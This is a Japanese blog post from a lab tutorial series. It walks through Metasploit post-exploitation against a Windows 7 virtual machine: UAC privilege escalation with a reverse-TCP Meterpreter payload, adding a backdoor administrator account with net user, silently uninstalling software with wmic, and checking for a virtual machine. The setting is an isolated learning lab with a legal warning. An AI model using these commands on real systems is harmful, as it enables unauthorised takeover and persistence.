LoginSignup
0
0

More than 1 year has passed since last update.

Kali Linux2022.1 でハッキングラボをつくってみる 5 Windows7をハッキングする編5(Metasploit Frameworkを使う後編)

Last updated at Posted at 2022-04-20

はじめに

以下の記事からの続きとなります。
前編
中編
『ハッキング・ラボのつくりかた』(IPUSIRON著)のp.273〜285に相当する内容です。
予定していたmigrateによる隠蔽化はいつかやります。

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

migrateによる隠蔽化

後日

悪意のある確認ダイアログによる権限昇格

sessions -iコマンドでIEUser権限のセッションがあることを確認する。"Information"から確認できる。
"exploit/windows/local/ask"モジュールを用いて、悪意のある確認ダイアログを表示する。

msf >
sessions -i
use exploit/windows/local/ask
set session <IEUser権限のあるセッションのセッションID>
set technique PSH
set lhost 192.168.56.2
show options
exploit

show options実行後のオプションは次のようになる。

Module options (exploit/windows/local/ask):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILENAME                    no        File name on disk
   PATH                        no        Location on disk, %TEMP% used if not set
   SESSION    1                yes       The session to run this module on
   TECHNIQUE  PSH              yes       Technique to use (Accepted: PSH, EXE)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, no
                                        ne)
   LHOST     192.168.56.2     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows

exploitを実行した後は、Windows7側でUAC画面が表示される。しかし、UAC画面で「Yes」ボタンをクリックすると、一瞬だけコマンドプロンプトが表示されてしまう。
VirtualBox_IE10 - Win7_21_04_2022_05_17_14.png

ユーザを追加

1.セッションにシステム権限があることを確認するために、meterpreterプロンプトのgetuidコマンドを実行。そうでない場合は、getsystemでシステム権限に昇格しておく。
2.shellコマンドを実行し、Windowsのコマンドプロンプトを呼び出す。
3.net user \<ユーザー名> /addコマンドを実行することで、新規のユーザーを追加。
新規に追加したユーザーは管理者権限、パスワードが付与されていないので、次のコマンドで付与する。(パスワードがないので、パスワード無しでログインできてしまう。)
4.net user \<ユーザー名> \<設定したいパスワード>コマンドを実行して、パスワードを設定する。
5.net localgroup administrators \<ユーザー名> /addコマンドを実行して、管理者グループに入れて、管理者権限を与える。
6.必要なくなったら、net user \<削除したいユーザー名> /deleteコマンドを実行して、ユーザーを削除する。

ソフトウェアをアンインストール

  1. システム権限があることmeterpreterプロンプトのgetuidコマンドで確認。
  2. アンインストールする前に、インストール済みのソフトウェアを確認したい。同書には、確認方法として、MetasploitFrameworkの"post/windows/gather/enum_application"を使った方法と、コマンドプロンプトでwmic product get name, installLocationコマンドを用いる方法の2つが紹介されている。
  • "post/windows/gather/enum_application"を利用する
msf >
use post/windows/gather/enum_applications
  • wmic product get name, installLocationを利用する
    システム権限が取れているセッションで行う
meterpreter
shell

コマンドプロンプトが起動したら、次のコマンドを実行。

コマンドプロンプト
wmic product get name, installLocation

3.. wmic product where name=<ソフトウェア名> call uninstall /nointeractiveコマンドを実行することで、アンインストールできる。

インストールされているソフトウェアの情報については、"post/windows/gather/enum_application"を利用したほうがより詳しく得られる。ただ、 wmic product where name=<ソフトウェア名> call uninstall /nointeractiveコマンドでアンインストールできないソフトも表示される。
wmic product get name, installLocationを利用するとセッションの切り替えの必要なく、シームレスにソフトウェアをアンインストールできる。表示されるソフトウェアはアンインストール可能。
前者のモジュールでのみ表示されるインストール済みのソフトウェアをアンイントールする方法は今の所不明。ご存知の方、よろしければご教授ください。

ターゲットが仮想マシンかどうかを調べる

"post/windows/gather/checkvm"を利用

msf >
use post/windows/gather/checkvm
set session <システム権限が取れているセッションのセッションID>
run
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0